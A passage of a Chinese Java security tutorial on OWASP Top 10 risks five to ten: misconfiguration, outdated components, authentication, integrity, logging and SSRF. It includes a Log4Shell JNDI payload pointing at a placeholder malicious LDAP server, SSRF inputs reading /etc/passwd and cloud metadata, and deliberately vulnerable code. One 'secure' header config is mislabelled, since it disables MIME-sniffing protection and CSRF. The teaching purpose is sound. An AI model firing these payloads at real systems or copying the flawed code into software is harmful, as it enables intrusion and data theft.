   port: 8081 # 单独设置Actuator端口,与业务端口分离,仅对内网开放

2. 安全的跨域配置

严格限制允许跨域的域名,绝对禁止使用*,仅允许业务需要的域名:

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.CorsRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class CorsConfig implements WebMvcConfigurer {

   private static final String[] ALLOWED_ORIGINS = {
       "https://www.example.com",
       "https://admin.example.com"
   };

   @Override
   public void addCorsMappings(CorsRegistry registry) {
       registry.addMapping("/**")
               .allowedOriginPatterns(ALLOWED_ORIGINS) // 仅允许白名单内的域名
               .allowedMethods("GET", "POST", "PUT", "DELETE") // 仅允许业务必需的HTTP方法
               .allowedHeaders("*")
               .allowCredentials(true)
               .maxAge(3600);
   }
}

3. 关闭错误页面的详细堆栈信息

生产环境禁止返回详细异常信息,仅返回通用错误提示,配置如下:

server:
 error:
   include-stacktrace: never # 生产环境永远不返回堆栈信息

同时使用全局异常处理器统一处理异常:

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

@RestControllerAdvice
public class GlobalExceptionHandler {

   private static final Logger logger = LoggerFactory.getLogger(GlobalExceptionHandler.class);

   @ExceptionHandler(Exception.class)
   public ResponseEntity<Result> handleException(Exception e)
{
       // 详细异常信息仅打印在日志中,不返回给前端
       logger.error("系统异常", e);
       Result result = new Result();
       result.setCode(500);
       result.setMsg("系统内部错误,请稍后再试");
       return new ResponseEntity<>(result, HttpStatus.INTERNAL_SERVER_ERROR);
   }

   @ExceptionHandler(BusinessException.class)
   public ResponseEntity<Result> handleBusinessException(BusinessException e)
{
       logger.error("业务异常", e);
       Result result = new Result();
       result.setCode(e.getCode());
       result.setMsg(e.getMsg());
       return new ResponseEntity<>(result, HttpStatus.OK);
   }
}

4. 配置HTTP安全响应头

使用Spring Security配置安全响应头,防止XSS、点击劫持、MIME类型嗅探等攻击:

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.web.SecurityFilterChain;

@Configuration
@EnableWebSecurity
public class SecurityConfig {

   @Bean
   public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
       http
           .authorizeHttpRequests(auth -> auth
               .requestMatchers("/api/auth/**").permitAll()
               .anyRequest().authenticated()
           )
           .headers(headers -> headers
               .frameOptions(frame -> frame.deny()) // 禁止页面被嵌入iframe,防止点击劫持
               .contentTypeOptions(content -> content.disable()) // 禁用MIME类型嗅探
               .xssProtection(xss -> xss.block()) // 开启XSS防护
               .contentSecurityPolicy(csp -> csp.policyDirectives("default-src 'self'")) // 内容安全策略
           )
           .csrf(csrf -> csrf.disable());
       return http.build();
   }
}

5. 核心防护原则

  • 建立标准化的安全配置基线,所有环境必须遵循统一的安全配置规范
  • 禁用所有默认账号和默认配置,修改所有默认密码,使用强密码
  • 定期使用自动化工具扫描配置错误,如Nessus、OpenVAS等
  • 开发、测试、生产环境严格隔离,生产环境敏感信息必须加密存储,禁止硬编码

六、自带缺陷和过时的组件(Vulnerable and Outdated Components)

自带缺陷和过时的组件位列OWASP Top10 2021第六位,是企业被攻击的重灾区,Log4j2 JNDI注入、Spring4Shell、Fastjson反序列化等知名高危漏洞,都属于该类别。

底层原理

该风险的核心本质是:应用的安全强度,取决于整个依赖链中最薄弱的环节。即使自身代码写得再安全,依赖的第三方组件、框架、中间件存在已知的安全漏洞,或已经停止维护,攻击者可以利用这些已知漏洞,轻易攻破应用。

常见的风险场景:

  • 使用存在已知高危漏洞的组件,如低版本的Log4j2、Fastjson、Spring Cloud Gateway
  • 使用已经停止维护的过时组件,如Log4j 1.x、commons-beanutils 1.x
  • 未清理未使用的依赖,通过传递依赖引入有漏洞的组件
  • 未定期更新组件版本,使用的版本过低,存在大量已知漏洞

漏洞复现

Log4j2 JNDI注入漏洞(CVE-2021-44228),影响版本为2.0-beta9到2.14.1:

<dependencies>
   <!-- 存在高危漏洞的Log4j2版本 -->
   <dependency>
       <groupId>org.apache.logging.log4j</groupId>
       <artifactId>log4j-core</artifactId>
       <version>2.14.1</version>
   </dependency>
   <dependency>
       <groupId>org.apache.logging.log4j</groupId>
       <artifactId>log4j-api</artifactId>
       <version>2.14.1</version>
   </dependency>
</dependencies>

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api")
public class LogController {

   private static final Logger logger = LogManager.getLogger(LogController.class);

   // 漏洞点:用户输入的内容直接被Log4j2解析,触发JNDI注入
   @GetMapping("/log")
   public String log(@RequestParam String content) {
       logger.info("用户输入的内容:{}", content);
       return "日志打印成功";
   }
}

攻击者只需访问http://localhost:8080/api/log?content=${jndi:ldap://恶意服务器/恶意类},即可触发漏洞,执行任意代码,控制服务器。

防护方案

  1. 建立依赖白名单,仅使用经过安全验证、活跃维护的官方组件,禁止使用已停止维护的组件
  2. 定期更新组件到最新的稳定版本,及时修复已知的安全漏洞
  3. 清理未使用的依赖和功能,减少依赖数量,缩小攻击面
  4. 使用自动化工具定期扫描依赖漏洞,如OWASP Dependency-Check、Snyk、Dependabot等
  5. 处理传递依赖的漏洞,使用<exclusions>排除有漏洞的传递依赖,或指定安全的版本覆盖
  6. 使用<dependencyManagement>锁定所有依赖的版本,避免传递依赖引入有漏洞的版本
  7. 建立高危漏洞应急响应流程,当出现新的高危组件漏洞时,可快速评估影响、修复漏洞

七、身份认证和授权失效(Identification and Authentication Failures)

身份认证和授权失效位列OWASP Top10 2021第七位,是应用安全的第一道防线,一旦该环节失效,整个安全体系就会完全崩溃。

底层原理

该风险的核心本质是:应用在用户身份认证、会话管理环节存在缺陷,导致攻击者可以冒充合法用户,绕过身份认证,获取用户的权限,执行非授权操作。与失效的访问控制不同,该风险聚焦于“你是谁”的身份认证环节,而访问控制聚焦于“你能做什么”的授权环节。

常见的风险场景:

  • 允许弱密码、默认密码,无密码复杂度要求
  • 无防暴力破解机制,登录接口无次数限制、无验证码
  • 会话管理缺陷,Session ID未过期、退出登录后未失效
  • JWT token无过期时间、无吊销机制、使用弱密钥签名
  • 多因素认证缺失,核心系统无二次身份校验
  • 凭证明文传输、明文存储,导致身份信息泄露

漏洞复现

不安全的JWT实现:

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.Date;

public class InsecureJWTUtil {
   // 漏洞点1:使用弱密钥,易被暴力破解
   private static final String SECRET_KEY = "123456";
   // 漏洞点2:未设置token过期时间,token永久有效
   public static String generateToken(Long userId) {
       return Jwts.builder()
               .setSubject(userId.toString())
               .signWith(SignatureAlgorithm.HS256, SECRET_KEY)
               .compact();
   }

   // 漏洞点3:未校验token签名,攻击者可伪造任意token
   public static Long getUserIdFromToken(String token) {
       try {
           return Long.valueOf(Jwts.parser()
                   .parseClaimsJws(token)
                   .getBody()
                   .getSubject());
       } catch (Exception e) {
           return null;
       }
   }
}

防护方案

1. 安全的JWT实现

import io.jsonwebtoken.*;
import io.jsonwebtoken.security.Keys;
import org.springframework.data.redis.core.RedisTemplate;
import java.security.Key;
import java.util.Base64;
import java.util.Date;
import java.util.concurrent.TimeUnit;

public class SecureJWTUtil {
   private final Key secretKey;
   private static final long ACCESS_TOKEN_EXPIRE_MINUTES = 15;
   private static final long REFRESH_TOKEN_EXPIRE_DAYS = 7;
   private static final String TOKEN_BLACKLIST_PREFIX = "token_blacklist:";
   private final RedisTemplate<String, String> redisTemplate;
   private final String issuer = "example.com";

   // 密钥从配置中心/KMS获取,禁止硬编码
   public SecureJWTUtil(String base64Key, RedisTemplate<String, String> redisTemplate) {
       byte[] keyBytes = Base64.getDecoder().decode(base64Key);
       this.secretKey = Keys.hmacShaKeyFor(keyBytes);
       this.redisTemplate = redisTemplate;
   }

   // 生成256位安全密钥,仅用于初始化时使用
   public static String generateSecureKey() {
       Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256);
       return Base64.getEncoder().encodeToString(key.getEncoded());
   }

   public String generateAccessToken(Long userId) {
       Date now = new Date();
       Date expireDate = new Date(now.getTime() + ACCESS_TOKEN_EXPIRE_MINUTES * 60 * 1000);
       return Jwts.builder()
               .setIssuer(issuer)
               .setSubject(userId.toString())
               .setIssuedAt(now)
               .setExpiration(expireDate)
               .signWith(secretKey, SignatureAlgorithm.HS256)
               .compact();
   }

   public String generateRefreshToken(Long userId) {
       Date now = new Date();
       Date expireDate = new Date(now.getTime() + REFRESH_TOKEN_EXPIRE_DAYS * 24 * 60 * 60 * 1000);
       return Jwts.builder()
               .setIssuer(issuer)
               .setSubject(userId.toString())
               .setIssuedAt(now)
               .setExpiration(expireDate)
               .signWith(secretKey, SignatureAlgorithm.HS256)
               .compact();
   }

   // 校验token并解析用户ID,严格校验签名、过期时间、签发者
   public Long validateTokenAndGetUserId(String token) {
       // 先校验token是否在黑名单中
       if (Boolean.TRUE.equals(redisTemplate.hasKey(TOKEN_BLACKLIST_PREFIX + token))) {
           throw new ExpiredJwtException(null, null, "token已被吊销");
       }
       try {
           Jws<Claims> claimsJws = Jwts.parserBuilder()
                   .setSigningKey(secretKey)
                   .requireIssuer(issuer)
                   .build()
                   .parseClaimsJws(token);
           return Long.valueOf(claimsJws.getBody().getSubject());
       } catch (ExpiredJwtException | MalformedJwtException | SignatureException | IllegalArgumentException e) {
           return null;
       }
   }

   // 退出登录时吊销token,加入黑名单
   public void revokeToken(String token) {
       try {
           Claims claims = Jwts.parserBuilder()
                   .setSigningKey(secretKey)
                   .build()
                   .parseClaimsJws(token)
                   .getBody();
           long expireTime = claims.getExpiration().getTime() - System.currentTimeMillis();
           if (expireTime > 0) {
               redisTemplate.opsForValue().set(TOKEN_BLACKLIST_PREFIX + token, "1", expireTime, TimeUnit.MILLISECONDS);
           }
       } catch (Exception e) {
           // 无效token直接忽略
       }
   }
}

2. 身份认证全链路防护规范

  • 密码复杂度强制要求:密码必须包含大小写字母、数字、特殊字符,长度不低于8位,禁止使用常见弱密码
  • 防暴力破解机制:登录接口连续5次失败锁定账号15分钟,同时对IP地址做频率限制,1分钟内最多10次登录请求
  • 会话安全管理:Session ID必须使用高熵随机值,退出登录、修改密码后立即失效会话,设置合理的会话超时时间
  • 多因素认证:核心系统、管理员账号、敏感操作必须开启多因素认证,如短信验证码、谷歌身份验证器
  • 凭证传输安全:所有身份认证相关接口必须使用HTTPS传输,禁止在URL中传递凭证信息

3. 核心防护原则

  • 零信任原则:默认不信任任何请求,每次访问受保护资源都必须校验身份凭证
  • 最小权限原则:仅给用户分配完成业务所需的最小身份权限,默认拒绝所有访问
  • 凭证不可复用:禁止在多个系统使用相同的密钥、密码,定期更换所有身份凭证
  • 全链路校验:身份校验必须在服务端执行,禁止仅在前端做身份校验,所有核心接口必须校验token的有效性

八、软件和数据完整性失效(Software and Data Integrity Failures)

软件和数据完整性失效位列OWASP Top10 2021第八位,是新增的核心风险类别,聚焦于供应链安全、代码和数据的完整性校验,近年来频发的供应链攻击事件,都属于该风险范畴。

底层原理

该风险的核心本质是:应用在代码、依赖、配置、数据的全生命周期中,没有做完整性校验,导致攻击者可以篡改代码、依赖、数据,植入恶意内容,最终在应用或用户端执行。最典型的场景包括供应链攻击、不安全的反序列化、无校验的自动更新、CDN资源劫持等。

漏洞复现

1. 不安全的Java反序列化漏洞

Java反序列化漏洞是最常见的完整性失效风险,当应用反序列化用户可控的不可信数据时,攻击者可以构造恶意序列化对象,执行任意代码,控制服务器。

import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@RestController
@RequestMapping("/api/data")
public class UnsafeDeserializeController {

   // 漏洞点:直接反序列化用户传入的不可信数据,无任何校验
   @PostMapping("/deserialize")
   public String deserialize(@RequestBody String base64Data) throws Exception {
       byte[] data = Base64.getDecoder().decode(base64Data);
       ByteArrayInputStream bais = new ByteArrayInputStream(data);
       ObjectInputStream ois = new ObjectInputStream(bais);
       Object obj = ois.readObject();
       ois.close();
       bais.close();
       return "反序列化成功,对象类型:" + obj.getClass().getName();
   }
}

攻击者可使用ysoserial等工具构造恶意序列化数据,传入该接口,即可执行任意代码,控制服务器。

2. 供应链安全风险示例

<dependencies>
   <!-- 从非官方的第三方仓库拉取依赖,可能被植入恶意代码 -->
   <dependency>
       <groupId>com.example.fake</groupId>
       <artifactId>fake-utils</artifactId>
       <version>1.0.0</version>
   </dependency>
</dependencies>

如果应用配置了非官方的Maven仓库,或引入了未经校验的第三方依赖,可能引入被篡改的恶意组件,造成供应链攻击。

安全校验流程

防护方案

1. 反序列化漏洞的核心防护

  • 绝对禁止反序列化用户可控的不可信数据,这是最根本的防护方案
  • 必须反序列化时,使用安全的序列化方式,如JSON序列化,禁止使用Java原生序列化
  • 若必须使用Java原生序列化,需使用ValidatingObjectInputStream做白名单校验,仅允许反序列化指定的可信类

import org.apache.commons.io.serialization.ValidatingObjectInputStream;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.util.Base64;

@RestController
@RequestMapping("/api/data")
public class SafeDeserializeController {

   // 可信类白名单,仅允许反序列化指定的业务类
   private static final String[] ALLOWED_CLASSES = {
       "com.example.entity.User",
       "com.example.entity.Order"
   };

   @PostMapping("/deserialize")
   public String deserialize(@RequestBody String base64Data) throws Exception {
       byte[] data = Base64.getDecoder().decode(base64Data);
       ByteArrayInputStream bais = new ByteArrayInputStream(data);
       // 使用ValidatingObjectInputStream做白名单校验
       ValidatingObjectInputStream vois = new ValidatingObjectInputStream(bais);
       for (String clazz : ALLOWED_CLASSES) {
           vois.accept(clazz);
       }
       Object obj = vois.readObject();
       vois.close();
       bais.close();
       return "反序列化成功,对象类型:" + obj.getClass().getName();
   }
}

2. 供应链安全防护

  • 仅使用官方Maven中央仓库、企业内部可信私有仓库,禁止使用未知的第三方仓库
  • 所有依赖必须校验校验和与数字签名,确保依赖未被篡改
  • 定期扫描依赖的供应链安全风险,使用Snyk、Dependency-Check等工具检测恶意依赖
  • 禁止引入未维护、下载量低、未经安全验证的第三方依赖
  • 建立依赖准入流程,所有新引入的依赖必须经过安全审核

3. 核心防护原则

  • 完整性校验原则:所有代码、依赖、配置、数据,在加载和使用前必须做完整性校验,验证数字签名和哈希值
  • 最小依赖原则:仅引入业务必需的依赖,清理未使用的依赖,缩小攻击面
  • 可信来源原则:仅从官方、可信的来源获取代码、依赖、资源,禁止使用不可信的第三方内容
  • 禁止反序列化不可信数据:永远不要反序列化来自不可信来源的数据,从根源上避免反序列化漏洞

九、安全日志与监控失效(Security Logging and Monitoring Failures)

安全日志与监控失效位列OWASP Top10 2021第九位,是很多企业被入侵后无法及时发现、溯源的核心原因。OWASP数据显示,超过90%的企业存在日志与监控不足的问题,入侵事件的平均发现时间超过200天。

底层原理

该风险的核心本质是:应用没有记录关键的安全事件,或日志内容不完整、不可信,没有建立有效的监控和告警机制,导致安全事件无法被及时发现、分析、溯源和响应,攻击者可以长期潜伏在系统中,造成持续的损害。

常见的风险场景:

  • 未记录登录、权限变更、敏感操作等关键安全事件
  • 日志仅记录成功操作,未记录失败的攻击尝试
  • 日志中缺少关键信息,无法溯源攻击行为
  • 日志仅存储在本地,未做集中管理,服务器被入侵后日志被删除
  • 没有建立有效的监控和告警机制,无法及时发现异常行为
  • 日志中记录了密码、密钥等敏感信息,造成敏感数据泄露

漏洞复现

1. 无效的日志记录示例

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/auth")
public class InvalidLogController {

   private static final Logger logger = LogManager.getLogger(InvalidLogController.class);
   private final UserService userService;
   private final PasswordEncoder passwordEncoder;

   public InvalidLogController(UserService userService, PasswordEncoder passwordEncoder) {
       this.userService = userService;
       this.passwordEncoder = passwordEncoder;
   }

   @PostMapping("/login")
   public String login(@RequestBody UserLoginDTO dto) {
       User user = userService.findByUsername(dto.getUsername());
       if (user == null) {
           // 漏洞点:未记录登录失败事件,无法发现暴力破解行为
           return "用户名或密码错误";
       }
       if (!passwordEncoder.matches(dto.getPassword(), user.getPassword())) {
           // 漏洞点:登录失败日志缺少关键信息,无法溯源
           logger.info("登录失败");
           return "用户名或密码错误";
       }
       // 漏洞点:登录成功日志缺少关键信息,无法审计
       logger.info("登录成功");
       return "登录成功";
   }
}

2. 日志中记录敏感信息示例

// 漏洞点:日志中记录了用户密码,造成敏感数据泄露
logger.info("用户登录,用户名:{},密码:{}", dto.getUsername(), dto.getPassword());
// 漏洞点:日志中记录了完整的身份证号、银行卡号,造成敏感数据泄露
logger.info("用户提交实名认证,身份证号:{},银行卡号:{}", idCard, bankCard);

防护方案

1. 安全的日志记录规范

  • 必须记录的关键安全事件:登录成功/失败、退出登录、密码修改、权限变更、敏感数据访问、敏感操作、异常请求、攻击尝试
  • 日志必须包含的关键字段:事件时间、事件类型、用户ID、客户端IP、请求路径、请求参数(脱敏后)、操作结果、设备信息
  • 绝对禁止在日志中记录密码、密钥、完整身份证号、银行卡号等敏感信息,所有敏感数据必须脱敏后记录
  • 日志必须保证不可篡改,禁止本地存储日志,必须同步到集中式日志系统,如ELK、Splunk

安全的登录日志示例:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;

@RestController
@RequestMapping("/api/auth")
public class SafeLogController {

   private static final Logger logger = LogManager.getLogger(SafeLogController.class);
   private final UserService userService;
   private final PasswordEncoder passwordEncoder;

   public SafeLogController(UserService userService, PasswordEncoder passwordEncoder) {
       this.userService = userService;
       this.passwordEncoder = passwordEncoder;
   }

   @PostMapping("/login")
   public String login(@RequestBody UserLoginDTO dto, HttpServletRequest request) {
       String clientIp = getClientIp(request);
       String username = dto.getUsername();
       User user = userService.findByUsername(username);
       if (user == null) {
           logger.warn("登录失败,用户不存在,用户名:{},客户端IP:{},请求路径:{}",
                   username, clientIp, request.getRequestURI());
           return "用户名或密码错误";
       }
       if (!passwordEncoder.matches(dto.getPassword(), user.getPassword())) {
           logger.warn("登录失败,密码错误,用户ID:{},用户名:{},客户端IP:{},请求路径:{}",
                   user.getId(), username, clientIp, request.getRequestURI());
           return "用户名或密码错误";
       }
       logger.info("登录成功,用户ID:{},用户名:{},客户端IP:{},请求路径:{}",
               user.getId(), username, clientIp, request.getRequestURI());
       return "登录成功";
   }

   private String getClientIp(HttpServletRequest request) {
       String ip = request.getHeader("X-Forwarded-For");
       if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
           ip = request.getHeader("Proxy-Client-IP");
       }
       if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
           ip = request.getHeader("WL-Proxy-Client-IP");
       }
       if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
           ip = request.getRemoteAddr();
       }
       return ip.split(",")[0].trim();
   }
}

2. 安全监控与告警机制

  • 建立实时监控体系,对关键安全事件进行实时监控,及时发现异常行为
  • 必须配置的核心告警规则:短时间内多次登录失败、异地登录、非工作时间敏感操作、权限异常变更、高频异常请求、接口访问异常
  • 告警必须分级,不同级别的告警采用不同的通知方式,如短信、电话、邮件、企业微信通知
  • 建立安全事件响应流程,告警触发后必须有专人负责处理、分析、闭环
  • 定期对日志进行审计,分析潜在的安全风险,优化防护策略

3. 核心防护原则

  • 全量记录原则:所有关键安全事件必须完整记录,不能遗漏,确保攻击行为可溯源
  • 日志不可篡改原则:日志必须集中存储,保证不可篡改、不可删除,即使服务器被入侵,日志依然完整
  • 敏感信息脱敏原则:日志中所有敏感信息必须脱敏,禁止记录明文敏感数据
  • 实时监控原则:建立实时监控和告警机制,确保安全事件可及时发现、及时响应

十、服务端请求伪造(Server-Side Request Forgery, SSRF)

服务端请求伪造位列OWASP Top10 2021第十位,是近年来云原生、微服务架构下最受关注的安全风险,随着云服务的普及,SSRF漏洞的危害越来越大。

底层原理

SSRF的核心本质是:攻击者利用服务端的接口,构造恶意请求,让服务端代替攻击者发起请求,访问或攻击服务端内网的资源。因为请求是从受信任的服务端发起的,可以绕过防火墙、访问控制等防护措施,扫描内网端口、攻击内网服务、读取本地文件,甚至执行代码。

常见的风险场景:

  • 图片加载、文件下载接口,用户传入URL,服务端直接发起请求获取资源
  • 第三方接口调用、webhook回调接口,用户传入回调地址,服务端直接请求
  • 云服务元数据接口访问,攻击者通过SSRF获取云服务器的AK/SK,控制整个云资源
  • 内网服务扫描,攻击者通过SSRF探测内网存活的服务和端口,寻找可利用的漏洞

漏洞复现

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;

@RestController
@RequestMapping("/api/resource")
public class SSRFController {

   // 漏洞点:直接使用用户传入的URL发起请求,无任何校验,可发起SSRF攻击
   @GetMapping("/fetch")
   public String fetchResource(@RequestParam String url) throws Exception {
       URL targetUrl = new URL(url);
       URLConnection connection = targetUrl.openConnection();
       InputStream is = connection.getInputStream();
       byte[] buffer = new byte[1024];
       int len;
       StringBuilder result = new StringBuilder();
       while ((len = is.read(buffer)) != -1) {
           result.append(new String(buffer, 0, len));
       }
       is.close();
       return result.toString();
   }
}

攻击者传入http://127.0.0.1:8080/api/admin/users,即可让服务端访问本地的管理员接口,获取全量用户数据;传入file:///etc/passwd,可读取服务器本地文件;传入云服务元数据地址,可获取云服务器的AK/SK,控制整个云资源。

SSRF攻击流程

防护方案

1. 根本防护原则

  • 禁止直接使用用户传入的URL发起请求,优先使用白名单模式,仅允许访问预设的可信域名和地址
  • 必须使用用户传入的URL时,必须做严格的校验,禁止访问内网、本地地址,禁止使用file、gopher、ftp等危险协议
  • 禁用不必要的协议,仅允许http和https协议
  • 对请求的响应做严格的限制,禁止返回敏感内容,限制响应大小

2. 安全的资源获取实现

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.InputStream;
import java.net.*;
import java.util.Arrays;
import java.util.List;

@RestController
@RequestMapping("/api/resource")
public class SafeSSRFController {

   // 可信域名白名单,仅允许访问白名单内的域名
   private static final List<String> ALLOWED_DOMAINS = Arrays.asList(
           "example.com",
           "cdn.example.com"
   );

   // 禁止访问的内网网段
   private static final List<String> FORBIDDEN_NETWORKS = Arrays.asList(
           "127.0.0.0/8",
           "10.0.0.0/8",
           "172.16.0.0/12",
           "192.168.0.0/16",
           "169.254.0.0/16",
           "0.0.0.0/8",
           "::1/128",
           "fc00::/7",
           "fe80::/10"
   );

   @GetMapping("/fetch")
   public String fetchResource(@RequestParam String url) throws Exception {
       URL targetUrl;
       try {
           targetUrl = new URL(url);
       } catch (MalformedURLException e) {
           throw new IllegalArgumentException("非法的URL格式");
       }

       // 1. 仅允许http和https协议,禁止其他危险协议
       String protocol = targetUrl.getProtocol();
       if (!"http".equals(protocol) && !"https".equals(protocol)) {
           throw new IllegalArgumentException("仅允许http和https协议");
       }

       // 2. 校验域名是否在白名单内
       String host = targetUrl.getHost();
       boolean isDomainAllowed = ALLOWED_DOMAINS.stream().anyMatch(allowedDomain -> host.endsWith("." + allowedDomain) || host.equals(allowedDomain));
       if (!isDomainAllowed) {
           throw new IllegalArgumentException("不允许访问的域名");
       }

       // 3. 解析IP地址,禁止访问内网IP
       InetAddress address = InetAddress.getByName(host);
       if (isForbiddenIp(address)) {
           throw new IllegalArgumentException("不允许访问的IP地址");
       }

       // 4. 限制端口,仅允许80和443端口
       int port = targetUrl.getPort() == -1 ? targetUrl.getDefaultPort() : targetUrl.getPort();
       if (port != 80 && port != 443) {
           throw new IllegalArgumentException("仅允许访问80和443端口");
       }

       // 5. 发起请求,设置超时时间,防止SSRF作为端口扫描工具
       URLConnection connection = targetUrl.openConnection();
       connection.setConnectTimeout(5000);
       connection.setReadTimeout(5000);
       connection.setDoInput(true);
       connection.setDoOutput(false);

       // 6. 限制响应大小,防止大文件攻击
       int maxSize = 1024 * 1024; // 最大1MB
       try (InputStream is = connection.getInputStream()) {
           byte[] buffer = new byte[1024];
           int len;
           int totalSize = 0;
           StringBuilder result = new StringBuilder();
           while ((len = is.read(buffer)) != -1) {
               totalSize += len;
               if (totalSize > maxSize) {
                   throw new IllegalArgumentException("响应内容超出大小限制");
               }
               result.append(new String(buffer, 0, len));
           }
           return result.toString();
       }
   }

   private boolean isForbiddenIp(InetAddress address) {
       if (address.isLoopbackAddress() || address.isSiteLocalAddress() || address.isLinkLocalAddress() || address.isAnyLocalAddress()) {
           return true;
       }
       for (String cidr : FORBIDDEN_NETWORKS) {
           if (isIpInCidr(address, cidr)) {
               return true;
           }
       }
       return false;
   }

   private boolean isIpInCidr(InetAddress address, String cidr) {
       String[] parts = cidr.split("/");
       String ipAddress = parts[0];
       int prefix = Integer.parseInt(parts[1]);
       try {
           InetAddress cidrAddress = InetAddress.getByName(ipAddress);
           byte[] addressBytes = address.getAddress();
           byte[] cidrBytes = cidrAddress.getAddress();
           if (addressBytes.length != cidrBytes.length) {
               return false;
           }
           int fullBytes = prefix / 8;
           int remainderBits = prefix % 8;
           for (int i = 0; i < fullBytes; i++) {
               if (addressBytes[i] != cidrBytes[i]) {
                   return false;
               }
           }
           if (remainderBits > 0) {
               int mask = 0xFF << (8 - remainderBits);
               if ((addressBytes[fullBytes] & mask) != (cidrBytes[fullBytes] & mask)) {
                   return false;
               }
           }
           return true;
       } catch (Exception e) {
           return false;
       }
   }
}

3. 核心防护原则

  • 白名单优先原则:优先使用域名白名单,仅允许访问可信的域名和地址,这是最有效的SSRF防护方案
  • 协议限制原则:仅允许http和https协议,禁止所有其他危险协议
  • 内网禁止原则:禁止访问内网、本地、回环地址,防止内网探测和攻击
  • 最小权限原则:发起请求的服务账号仅分配最小权限,禁止访问云服务元数据接口,降低SSRF漏洞的危害
  • 超时限制原则:设置合理的连接和读取超时时间,防止SSRF被用作端口扫描工具

总结

Java应用安全是一个全链路、全生命周期的体系,没有绝对的安全,只有持续的防护。OWASP Top10覆盖了Java Web应用90%以上的安全风险,掌握每类风险的底层原理、攻击方式和防护方案,是每一位Java开发者必备的能力。

安全不是一次性的工作,而是持续的过程。开发者需要在需求、设计、开发、测试、上线、运维的全流程中融入安全思维,建立安全开发规范,定期开展安全培训和漏洞扫描,及时修复安全风险,才能真正筑牢Java应用的安全防线,避免因为安全漏洞造成不可挽回的损失。

目录
相关文章
|
18天前
|
运维 监控 Java
从单体地狱到微服务天堂:架构演进与拆分的核心原则+全链路实战落地
本文系统阐述微服务本质与渐进式演进路径:破除“盲目拆分”误区,强调业务驱动;详解单体→模块化→垂直拆库→非核心服务→核心服务的五步安全演进;提炼高内聚低耦合、数据自治、业务域对齐等七大落地原则;辅以电商实战代码与避坑指南。
274 6
|
19天前
|
存储 算法 关系型数据库
吃透分布式 ID:雪花算法、号段模式的底层逻辑与全场景架构避坑
本文深度解析分布式ID两大主流方案——雪花算法与号段模式,涵盖核心设计准则(唯一性、趋势递增、高性能等)、底层原理、代码实现、6大生产避坑指南及场景化选型建议,助你构建稳定可靠的分布式ID服务。
337 3
|
21天前
|
算法 Java 关系型数据库
JVM GC 深度破局:G1 与 ZGC 底层原理、生产调优全链路实战
本文深度解析JDK17主流GC:G1(默认,兼顾吞吐与延迟)与ZGC(革命性低延迟,STW&lt;1ms)。涵盖核心理论(可达性分析、三色标记)、内存布局、全流程机制(SATB写屏障 vs 染色指针+读屏障)、关键参数调优及生产选型指南,助你精准定位性能瓶颈,高效优化JVM。
434 4
|
25天前
|
存储 缓存 监控
JVM 运行时数据区全解:从底层原理到 OOM 根因定位全链路实战
JVM运行时数据区是Java内存管理的核心,分为线程私有区域(程序计数器、虚拟机栈、本地方法栈)和线程共享区域(堆、方法区)。不同区域有明确的OOM触发规则:堆内存不足引发Java heap space异常,元空间不足导致Metaspace异常,直接内存溢出表现为Direct buffer memory错误。排查OOM需结合异常类型、堆dump、GC日志等现场数据,使用MAT等工具分析内存泄漏点。
412 1
|
26天前
|
安全 Java API
Java 8+ 核心高阶特性全解:Lambda、Stream、CompletableFuture 从底层原理到生产最佳实践
本文深入解析Java8至17版本中Lambda表达式、Stream流和CompletableFuture三大核心特性的底层原理与生产实践。Lambda表达式基于invokedynamic指令实现,性能优于匿名内部类;Stream流通过惰性求值机制实现高效集合操作,支持并行处理;CompletableFuture提供完善的异步编程能力,支持任务组合与超时控制。
281 1
|
1月前
|
缓存 Java 开发者
吃透 Spring Bean 生命周期:从源码底层到实战落地
